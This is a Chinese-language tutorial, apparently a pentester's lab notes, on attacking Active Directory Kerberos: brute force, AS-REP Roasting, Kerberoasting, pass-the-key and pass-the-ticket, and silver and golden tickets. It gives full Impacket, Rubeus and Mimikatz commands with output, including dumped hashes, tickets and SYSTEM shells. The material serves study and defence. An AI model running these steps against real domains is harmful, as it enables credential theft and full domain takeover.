Kerberos(2)-Kerberos攻击手法

Kerberos相关攻击手段

主要攻击手段如下,之后详细分析其原理和实操方法。

  • Kerberos暴力破解
  • AS-REP Roasting
  • Kerberoasting
  • 密钥传递
  • 票据传递
  • 白银票据
  • 黄金票据
  • 委派
  • 中继(未尝试)

后面两种攻击手法分开写。

主要工具:

  • Impacket的例子,执行与Kerberos相关的Linux攻击,这需要在机器上安装python。
  • Mimikatz,用于Windows攻击。
  • Rubeus,用于Windows攻击,这需要在计算机上安装可再发行组件3.5。
  • PsExec,用于在远程计算机中执行来自 Windows 的命令。

Kerberos暴力破解

Kerberos是一种身份验证协议,因此可以用来进行暴力破解。Kerberos暴力破解比其他协议身份验证暴力破解有更多优势,如下:

  • 无需域账户,只需要能访问KDC。
  • Kerberos身份验证错误不会在AD中记录正常的登陆失败事件(4625),而是记录Kerberos身份验证失败日志(4771)。
  • Kerberos验证,即使密码错误,也会先验证用户名(用户名正确和错误返回标记位不一样)。在不知道用户名情况下这种方式更容易爆破。
  • Kerberos暴力破解中,也有可能在不需要预先认证的情况下发现用户账户,这对进行ASREPRoast攻击很有用。

暴力破解有可能被封账号,需要谨慎使用。

Linux操作

这里使用了代理,并且在使用domian的时候是直接写域即可,不是指向dc的ip地址。成功的账号密码会存入jurassic_passwords.txt,当前目录还会生成成功的TGT票据。

工具连接:https://github.com/TarlogicSecurity/kerbrute

1
proxychains python3 kerbrute.py -domain dt.com -users user.txt -passwords pass.txt -outputfile jurassic_passwords.txt

image-20220225044606486

Windows操作:

在windows情况下有些Rubeus工具带有爆破模块可以使用,但是官网的爆破模块好像不是。

AS-REP Roasting

AS-REP Roasting攻击是寻找不需要Kerberos预认证的用户。意味着任何人都可以代表这类用户向KDC发送AS_REQ请求,并接收到AS_REP消息。AS_REP响应中有部分用户密钥临时加密的数据快,该密钥来自其密码。通过这个响应消息密码可以被离线破解。

这种暴力破解是不需要域账号的,只需要请求KDC。但是为了找到没有kerberos预认证的用户需要通过LDAP来检索获取。

Linux操作:

GetNPUsers.py这个脚本是Impacket工具套件中的其中一个,它可以列举出哪些用户设置了“Do not require Kerberos pre-authentication”,并获得TGTs。同样的,你也可以保存hash到文件中,然后利用John the ripper进行破解。

1
2
3
proxychains python3 GetNPUsers.py -dc-ip 10.10.10.10 dt.com/ -usersfile user.txt -format john -outputfile hashes.txt

john --wordlist=./pass.txt hashes.txt

获取AS-REQ

image-20220228023320920

john工具爆破解密

image-20220228023758158

Windows操作:

1
2
3
4
5
Rubeus.exe asreproast

Rubeus.exe asreproast /format:john /outfile:hashes.txt
kali:
john --wordlist=./pass.txt hashes.txt

获取AS-REQ

image-20220226192131335

自动判断web域用户不需要Kerberos预认证,设置了Do not require Kerberos preauthentication属性。

然后保存的内容用john工具爆破解密。

image-20220226192735915

Kerberoasting

如果客户端计算机身份验证请求包含有效的用户凭据和服务主体名称 (SPN),则 Kerberos 身份验证服务器将授予一个票证以响应该请求。

Kerberoasting是代表AD中的账号而不是机器账号的服务去请求TGS,因此这些TGS票据的一部分是用户密码加密的,因此这些TGS可以离线破解。加密算法是RC4_HMAC_MD5。

域内的任何一台主机用户或普通域用户,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的SPN。

Linux操作

1
root@kali:impacket-examples# python GetUserSPNs.py jurassic.park/triceratops:Sh4rpH0rns -outputfile hashes.kerberoast

Windows操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
C:\Users\web2012\Desktop>Rubeus.exe kerberoast -domain dt.cn 

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.6.4


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Searching the current domain for Kerberoastable users

[*] Total kerberoastable users : 1


[*] SamAccountName : Administrator
[*] DistinguishedName : CN=Administrator,CN=Users,DC=dt,DC=cn
[*] ServicePrincipalName : VNC/dc.dt.cn
[*] PwdLastSet : 2022/1/17 3:01:09
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*Administrator$dt.cn$VNC/dc.dt.cn*$986FDE8705AE45A1222DE90FA92D0CD1$
D2EC7981F1AD353DCF71F0D.......

获取到tgs之后使用Hashcat或John离线爆破

1
2
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.txt
hashcat -m 13100 --force -a 0 hashes.txt passwords_kerb.txt

密钥传递(PTK)

这个攻击的目的是使用用户NTLM的哈希值来请求Kerberos票,作为常见的Pass The Hash over NTLM协议的替代方案。因此,在禁用NTLM协议而只允许Kerberos作为认证协议的网络中,这可能特别有用。

为了进行这种攻击,需要目标用户账户的NTLM哈希值(或密码)。因此,一旦获得用户哈希值,就可以为该账户申请一个TGT。最后,就有可能访问该用户账户有权限的任何服务或机器。

Linux操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
┌──(kali㉿kali)-[~/impacket/examples]
└─$ proxychains python3 getTGT.py dt.cn/administrator -hashes :161cff084477fe596a5db81874498a24
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[proxychains] Strict chain ... 192.168.2.73:6005 ... DT.CN:88 ... OK
[proxychains] Strict chain ... 192.168.2.73:6005 ... DT.CN:88 ... OK
[*] Saving ticket in administrator.ccache

┌──(root💀kali)-[/home/kali/impacket/examples]
└─# export KRB5CCNAME=/home/kali/impacket/examples/administrator.ccache

┌──(root💀kali)-[/home/kali/impacket/examples]
└─# proxychains python3 psexec.py dt.cn/administrator@dc.dt.cn -k -no-pass
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[proxychains] Strict chain ... 192.168.2.73:6005 ... dc.dt.cn:445 ... OK
[proxychains] Strict chain ... 192.168.2.73:6005 ... DT.CN:88 ... OK
[*] Requesting shares on dc.dt.cn.....
[*] Found writable share ADMIN$
[*] Uploading file zpnStYAe.exe
[*] Opening SVCManager on dc.dt.cn.....
[*] Creating service lVWe on dc.dt.cn.....
[*] Starting service lVWe.....
[proxychains] Strict chain ... 192.168.2.73:6005 ... dc.dt.cn:445 ... OK
[proxychains] Strict chain ... 192.168.2.73:6005 ... DT.CN:88 ... OK
[proxychains] Strict chain ... 192.168.2.73:6005 ... dc.dt.cn:445 ... OK
[!] Press help for extra shell commands
[proxychains] Strict chain ... 192.168.2.73:6005 ... DT.CN:88 ... OK
[proxychains] Strict chain ... 192.168.2.73:6005 ... dc.dt.cn:445 ... OK
[proxychains] Strict chain ... 192.168.2.73:6005 ... DT.CN:88 ... OK
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [�汾 10.0.14393]

[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
(c) 2016 Microsoft Corporation����������Ȩ����


C:\Windows\system32> whoami
nt authority\system

Windows操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
C:\Users\Administrator\Desktop>Rubeus.exe asktgt /domain:dt.cn /user:administrator /rc4:161cff084477fe596a5db81874498a24 /ptt

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.6.4

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 161cff084477fe596a5db81874498a24
[*] Building AS-REQ (w/ preauth) for: 'dt.cn\administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIE6jCCBOagAwIBBaEDAgEWooIEDzCCBAthggQHMIIEA6ADAgEFoQcbBURULkNOohowGKADAgECoREw
DxsGa3JidGd0GwVkdC5jbqOCA9UwggPRoAMCARKhAwIBAqKCA8MEggO/+0Eg1Sq2rH4XQhFahgg9d6Ir
WAP5wNecsKzq0JhZXiTvsInFKmVuoM5hIeCy671dolGm2SgbCQmpXDvvVr+UE7f7Ah8TS7/qk/tkzGj5
9bbK07uA41iM6582WwlTYzo2x1wKFueVquEdFOBwOdR3HH8D3swUdkd0EiZx053iYB07CtydCkkvoNwT
p6fvm2tmdMTYlcv09mtVDCatrX879i0zVyTKrfWVfepxMnSP2ESKdYG6S3CZrYsKko5p2J2CwQf0N3Py
iZ/i2wBSlVj3JlRrhOIVQXs5BBB40yR/roLPmQiFKLVMYLrgmUN5BPm2mIbnYfg/D8QzZVflZD36hZ99
e1uJ2afQXUWXx8TaohfF8sJLGrPz+DArZbl9L52vF6LnmyvEP0eR0FrhCqd60I0E/hHGncMrdD1s/qrB
TRHq+3Da/r+F/Ct8ouLYP4zVOOXDOCBQ9RnA1g8dgkJG7XcaDMw1d3kLNBI3pDxtki+fBlG0oKt6Nzmw
mDLgj1ib7LceQVHiDA0IJKpgVJEQw4wkX038TNBGkG63mP+ld3o3z3/UD/yBQ1tsX+BxwIoEAInDwD3H
knojjeixx9UH6inBts/Emi+AltdIIdo1N4dIGrYHO7Uf2LRo4vV2/aSFAjsOttICGR8QkuLfBuBqwLte
ScBMD09Q2DroeIvKsjRfrRTega1pqlH6g6qXgZWuIWwMURC0oLourPh0x6FO4S2H86J8Fci/7S3076E6
gh0HrxO9M+outj/pGsCyP+urXEKk3Mr53+8228uD+jd7hLr0HHonJc7fhvt8jgXPdW+EruH2iIOYgAyu
rFX3oJzfVb/rgOascbVObBDWD/fynfB38Y14qby/0/cv/NUj1dqp8k3FyHaOuHiK4CZAILKePID2nw5D
5fXJa5ME9hY9ODhCWapXFaN7TJyXAbkLd51L0Ut2xQECgFA52IVJlMvoAfmJYJg6BLJd5AKCi4wXLTB3
anKCZql9kD+66o7EjpVd6Uo18Crhiqwd6H1aIKIM/t8gqaOYPiqZ9zslDNih9hUEMOSgiWnTV+aOWYVB
2FO7DJ8yVfLoaLhJeHX+/QK6MXCe7PAo5JwoN58DMyEdxkyjkiKAfilhFjd6xA43ixflDOHjeNUzj4Lo
pQ9fH4lt6ooiZFE+Ol3pnwvAg6sOlZcXzEHp/sDlAEgWpcBN6zXwzGCFHRvFInHt7URBv1C6fWnNIqJg
140yntbMq1+oy76tAk3Ql0eaQ5N/Wc4x9Wkwd514RvPzhB9CgBNiTWijgcYwgcOgAwIBAKKBuwSBuH2B
tTCBsqCBrzCBrDCBqaAbMBmgAwIBF6ESBBAtv2TDFCpRuFtSR02dN6mHoQcbBURULkNOohowGKADAgEB
oREwDxsNYWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIyMDIyODA2NDM1N1qmERgPMjAyMjAyMjgx
NjQzNTdapxEYDzIwMjIwMzA3MDY0MzU3WqgHGwVEVC5DTqkaMBigAwIBAqERMA8bBmtyYnRndBsFZHQu
Y24=
[+] Ticket successfully imported!

ServiceName : krbtgt/dt.cn
ServiceRealm : DT.CN
UserName : administrator
UserRealm : DT.CN
StartTime : 2022/2/28 14:43:57
EndTime : 2022/3/1 0:43:57
RenewTill : 2022/3/7 14:43:57
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Lb9kwxQqUbhbUkdNnTephw==

C:\Users\Administrator\Desktop>dir \\dc.dt.cn\c$
驱动器 \\dc.dt.cn\c$ 中的卷没有标签。
卷的序列号是 3A1C-FE21

\\dc.dt.cn\c$ 的目录

2016/07/16 21:23 <DIR> PerfLogs
2021/12/17 09:36 <DIR> Program Files
2016/07/16 21:23 <DIR> Program Files (x86)
2021/12/17 14:34 <DIR> tools
2021/12/14 10:56 <DIR> Users
2022/02/28 14:30 <DIR> Windows
0 个文件 0 字节
6 个目录 51,678,773,248 可用字节

如果不将参数 /ptt 传递给 Rubeus asktgt,则票证将显示在 base64 中。以下 Powershell 命令可用于将其写入文件:

最好写绝对路径不然默认到当前用户目录

1
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String(""))

注入票据

1
Rubeus ptt /ticket:ticket.kirbi

票据传递

这种攻击类似于密钥传递,但不是使用哈希来请求票据,而是票据本身被盗并用于作为其所有者进行身份验证。

在linux中查找票据

在 Linux 上,主要类型由3种,在以下为重出现:

  • 文件,默认情况下在 /tmp 目录下,以 krb5cc_%{uid} 的形式出现。
  • Kernel Keyrings,Linux 内核中用于存储密钥的特殊空间。
  • 进程内存,在只有一个进程需要使用票据时使用。

要验证在特定计算机中使用的存储类型,必须在 /etc/krb5.conf 文件中检查变量default_ccache_name,默认情况下,该文件对任何用户都具有读取权限。如果缺少此参数,则其默认值为 *FILE:/tmp/krb5cc_%{uid}*。

因此,票据通常保存在文件中,这些文件只能由所有者读取,并且像Linux中的任何文件一样,只能由root读取。如果可以访问这些票据文件,只需将它们复制粘贴到另一台计算机中,它们就可以用来执行Pass The Ticket攻击。

一般也很少碰见。

进程内存和Kernel Keyrings中查找工具:

https://github.com/TarlogicSecurity/tickey

https://rp.os3.nl/2016-2017/p97/report.pdf

在Windows中查找票据

在 Windows 中,票据由负责安全性的 lsass(本地安全机构子系统服务)进程处理和存储,因此,要从Windows系统检索票据,就必定要向lsass请求。

但是,作为非管理用户,只能获取拥有的票证,但是,作为计算机管理员,可以获取所有这些票证。为此,可以使用Mimikatz或Rubeus工具,如下所示:

Mimikatz:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 3783425 (00000000:0039bb01)
Session : Interactive from 4
User Name : admin
Domain : WEB006
Logon Server : WEB006
Logon Time : 2022/3/1 0:23:32
SID : S-1-5-21-361463409-2947024530-2431722618-1000

* Username : admin
* Domain : WEB006
* Password : (null)

Group 0 - Ticket Granting Service

Group 1 - Client Ticket ?

Group 2 - Ticket Granting Ticket

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WEB006$
Domain : DT
Logon Server : (null)
Logon Time : 2022/2/28 3:15:01
SID : S-1-5-20

* Username : web006$
* Domain : DT.COM
* Password : (null)

Group 0 - Ticket Granting Service
[00000000]
Start/End/MaxRenew: 2022/2/28 23:42:11 ; 2022/3/1 9:38:36 ; 2022/3/7 23:38:36
Service Name (02) : cifs ; ad.dt.com ; @ DT.COM
Target Name (02) : cifs ; ad.dt.com ; @ DT.COM
Client Name (01) : WEB006$ ; @ DT.COM
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt
5896b7892013aa717810d4efff821ca5
Ticket : 0x00000017 - rc4_hmac_nt ; kvno = 5 [...]
* Saved to file [0;3e4]-0-0-40a50000-WEB006$@cifs-ad.dt.com.kirbi !
.....

mimikatz #

使用机器管理员账户,先 privilege::debug提权,然后查询,查询的票据也会存到当前目录本地。

Rubeus:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
C:\Users\admin\Desktop>Rubeus.exe dump

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.6.4


Action: Dump Kerberos Ticket Data (All Users)

[*] Current LUID : 0x39bb01

UserName : WEB006$
Domain : DT
LogonId : 0x3e4
UserSID : S-1-5-20
AuthenticationPackage : Negotiate
LogonType : Service
LogonTime : 2022/2/28 3:15:01
LogonServer :
LogonServerDNSDomain : dt.com
UserPrincipalName : WEB006$@dt.com


ServiceName : krbtgt/DT.COM
ServiceRealm : DT.COM
UserName : WEB006$
UserRealm : DT.COM
StartTime : 2022/2/28 23:38:36
EndTime : 2022/3/1 9:38:36
RenewTill : 2022/3/7 23:38:36
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : BHJIs3J8cF7UgGX3Qt6NXw==
Base64EncodedTicket :

doIEoDCCBJygAwIBBaEDAgEWooIDyDCCA8RhggPAMIIDvKADAgEFoQgbBkRULkNPTaIbMBmgAwIBAqESMBAbBmtyYnRndBsGRFQu
Q09No4IDjDCCA4igAwIBF6EDAgECooIDegSCA3aEKX3rFaGA59JTZvxZi2C28Oy0FiFYz7L06/ZkM3I8Ft+fLce7AY1cWGa79gVT
PuvzLznh9vaTsc9peTLcS1gWCMKB/4TBDPe5cavstf1AXagy4DP8qbSfmVgtzp7vXJ+dgWqn4SrzTRD41N/CqMHqAsWN3qGCjIky
OZNApQ2o1dhwsMvi+mRRHCeHhhkntFJ0c5eMcnR65nSpWf50dwJn/p81dH5zUkFUAPzfEjc1ycyeM4EPQ95fWLaxkUbw+rAYdkiL
i+r3/MfFZ+kHJT80kls2htc5+sofBXwCxnQ7Z/V4lGIclsibqAxEPTXe/CiBM4RrzsP/VElYYzA5yY06Nh8dX+zjPdcS5Ur6LDA+
cNOamgYseNs5QeltUIJ6hGFltdf7drZOBRzXnGj6otP9gkUsceTIjXnRKMdp6PxH7p+z2oLOIu3yT51vRdhnYI7PucTmrDLelQSn
KV8zDmi7is3hTqgIQVEt0gjfwjqR5YSp66r43vgP7qJlSiVqnmb3KGlRuSlCzu3BKfhwIjDITS9cuAOd3r263CFDaM7Jgb7FsE82
IYz9GYysMef/sN7C0YN3vwKnuR/kiQDUSr5bU5jN6gMxgjDXFH4Y6DnvM5LMuXZrfLOA/mjXushTHOYTdwcM7b1pAst2wbHrR0/i
vOC+mrm77mKuGVUN5o+tmBG9Uo5YraSrgGRlSUFGONtW/Z3FYK+ZqmjUr0aCWOJ9s1L7RlhQxSP9A7e+csX/R5WGnZb4P1uJaew1
ACxpGH7Ji/A9/z3at5zSCgwI9Bfi3wqZuArJnj8qSRLYY9XEkzOmBlsmgUUF+5tzh658R2dlqMAkVa/q9xvwLgkj9oTny4iBZVQh
qPmvMz5CJi06tnxc56VbH0YWLZUpaOFBkX8rEzcGhajJvMo3TC95wztPPAqVbK4vmk39SRMCag9oiIq30hLhGMkyIn7oY6vEXiAh
5juh4Mx83YcN1f42i3OdNKc9LINS4qfpv5MhYkAgRpnsVcjrOdan1n2B9wEWpODVuCFqc9obNGAkEOTlshKODWO2IYwoGtSdswzA
wFh1gcjJ2geBDVKoC3xjIhukFKgYyIKi8C04YjD7PKhioDwvqp37cs59KP3oUs/S4bj8uRAne5SZTdVx2z2Rw4eEx5WKn7PN9eEa
KH8j4jXWc2gcMZuDJJk6o4HDMIHAoAMCAQCigbgEgbV9gbIwga+ggawwgakwgaagGzAZoAMCARehEgQQBHJIs3J8cF7UgGX3Qt6N
X6EIGwZEVC5DT02iFDASoAMCAQGhCzAJGwdXRUIwMDYkowcDBQBA4QAApREYDzIwMjIwMjI4MTUzODM2WqYRGA8yMDIyMDMwMTAx
MzgzNlqnERgPMjAyMjAzMDcxNTM4MzZaqAgbBkRULkNPTakbMBmgAwIBAqESMBAbBmtyYnRndBsGRFQuQ09N
......

Linux和windows票据格式转换

在开始使用票据之前,重要的是要将它们以正确的格式保存,因为Windows和Linux使用不同的方法来保存它们。为了从ccache(Linux文件格式)转换为kirbi(Mimikatz和Rubeus使用的Windows文件格式),反之亦然,可以使用以下工具:

ticket_converter(https://github.com/Zer1t0/ticket_converter)脚本。唯一需要的参数是当前工单和输出文件,它会自动检测输入工单文件格式并进行转换。例如:

1
2
3
4
root@kali:ticket_converter# python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter# python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

白银票据

纯翻译复制,白银票据与黄金票据类似,只是一个生成TGT,一个生成TGS。而黄金票据使用更多,有详细操作。

银票攻击基于在拥有用户帐户的 NTLM 哈希后为服务制作有效的 TGS。因此,可以通过伪造具有最大权限的自定义 TGS 来访问该服务。

在这种情况下,拥有计算机帐户(在 AD 中属于用户帐户)的 NTLM 哈希。因此,可以制作票证,以便通过SMB服务以管理员权限进入该计算机。

还必须考虑到,可以使用AES Kerberos密钥(AES128和AES256)伪造门票,这些密钥也是根据密码计算的,Impacket和Mimikatz可以使用它们来制作门票。此外,与NTLM哈希不同,这些密钥与域和用户名一起加盐。为了了解有关此键的计算方式的更多信息,建议阅读 MS-KILE 的第 4.4 节Get-KerberosAESKey.ps1 脚本。

在Linux中

像往常一样,可以使用impacket提供的示例从Linux机器执行这些攻击。在本例中,ticketer.py 用于伪造 TGS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root@kali:impacket-examples# python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park  stegosaurus
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for jurassic.park/stegosaurus
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in stegosaurus.ccache
root@kali:impacket-examples# export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
root@kali:impacket-examples# python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation

[*] Requesting shares on labwws02.jurassic.park.....
[*] Found writable share ADMIN$
[*] Uploading file JhRQHMnu.exe
[*] Opening SVCManager on labwws02.jurassic.park.....
[*] Creating service Drvl on labwws02.jurassic.park.....
[*] Starting service Drvl.....
[!] Press help for extra shell commands
Microsoft Windows [Versión 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>

执行类似于PTT攻击,但在这种情况下,票证是手动创建的。之后,像往常一样,可以在 KRB5CCNAME 环境变量中设置票证,并在任何 impacket 示例中将其与 -no-pass -k 参数一起使用。

在windows中

在Windows中,Mimikatz可以用来制作票证。接下来,将票证注入Rubeus,最后借助PsExec可以获得远程shell。必须考虑到,可以在不在目标网络中的本地计算机中伪造票证,然后将其发送到网络中的计算机进行注入。执行示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
C:\Users\triceratops>.\mimikatz.exe

.#####. mimikatz 2.1.1 (x64) built on Mar 18 2018 00:21:25
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
User : stegosaurus
Domain : jurassic.park (JURASSIC)
SID : S-1-5-21-1339291983-1349129144-367733775
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: b18b4b218eccad1c223306ea1916885f - rc4_hmac_nt
Service : cifs
Target : labwws02.jurassic.park
Lifetime : 28/02/2019 13:42:05 ; 25/02/2029 13:42:05 ; 25/02/2029 13:42:05
-> Ticket : ticket.kirbi

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Final Ticket Saved to file !

mimikatz # exit
Bye!
C:\Users\triceratops>.\Rubeus.exe ptt /ticket:ticket.kirbi

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Import Ticket
[+] Ticket successfully imported!

C:\Users\triceratops>.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Versión 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
jurassic\stegosaurus

C:\Windows\system32>

此外,Mimikatz 模块 kerberos::ptt 可用于注入票证,而不是使用 Rubeus,如 PTT 攻击部分所示。

黄金票据

黄金票据-域权限维持

在渗透测试过程中,攻击者往往会给自己留下多条进入内网的通道,如果我们忘记将 krbtgt 账号重置,攻击者就能快速重新拿到域控制器的权限。

在使用黄金票据(Golden Ticket)攻击时,需要以下信息:

  • 需要伪造的域管理员用户名(一般是域管账户)
  • 完整的域名
  • 域krbtgt SID(就是域成员krbtgt SID去掉最后的)
  • krbtgt 的 NTLM Hash 或 AES-256 值

1.使用mimikatz查看krbtgt的NTLM hash

使用 mimikatz 导出 krbtgt 的 NTLM Hash:(使用域管权限)

在域控制器中打开mimikatz,分别输入如下命令

1
2
privilege::debug
lsadump::lsa /patch /name:krbtgt

image-20211217011321561

NTLM: 7ec8189ebf0ef79ca9be524943a6e90b

mimikatz直接导出krbtgt信息:

1
lsadump::dcsync /domain:dt.com /user:krbtgt

容易出错:

image-20211217012404302

2.获取基本信息

获取域SID

1
wmic useraccount get name,sid

image-20211217013755257

SID:S-1-5-21-957916131-314401718-656287447

获取域管理员账号

1
net group "domain admins" /domain

image-20211217013929010

域管理员账号:Administrator

查询域

1
ipconfig /all

image-20211217014115889

域:dt.com

查询当前用户信息

1
whoami /user

image-20211217014454590

域内普通用户:web2012

3.制作黄金票据并使用

清空内存

使用mimikatz清空当前主机会话中的票据:

1
kerberos::purge

image-20211217020622296

生成票据

使用 mimikatz 生成包含 krbtgt 身份的票据:(不需要在域管下执行)

1
kerberos::golden /user:administrator /domain:dt.com /sid:S-1-5-21-957916131-314401718-656287447 /krbtgt:7ec8189ebf0ef79ca9be524943a6e90b /ticket:Administrator.kiribi

image-20211217020915459

在mimikatz目录下生成Administrator.kiribi 票据文件

传递票据并注入内存

将 Administrator.kiribi 票据放到域成员 web2012机器上然后注入内存:(使用web2012用户运行)

1
kerberos::ptt Administrator.kiribi

image-20211217021142508

查看当先会话中的票据

1
kerberos::tgt

image-20211217021239637

验证权限

1
dir \\AD\c$

image-20211217021346681

如果想要清除内存中的票据可以使用

1
2
mimikatz  -》 kerberos::purge
cmd -》 klist.exe purge

使用黄金票据伪造的用户可以是任意用户(即使这个用户不存在),因为 TGT 的加密是由 krbtgt 完成的,所以只要 TGT 被 krbtgt 账户和密码正确的加密,那么任意 KDC 使用 krbtgt 将 TGT 解密后,TGT 中的所有信息都是可信的。

参考文章:

https://www.tarlogic.com/blog/how-to-attack-kerberos/

https://cloud.tencent.com/developer/article/1760135

https://cloud.tencent.com/developer/article/1760133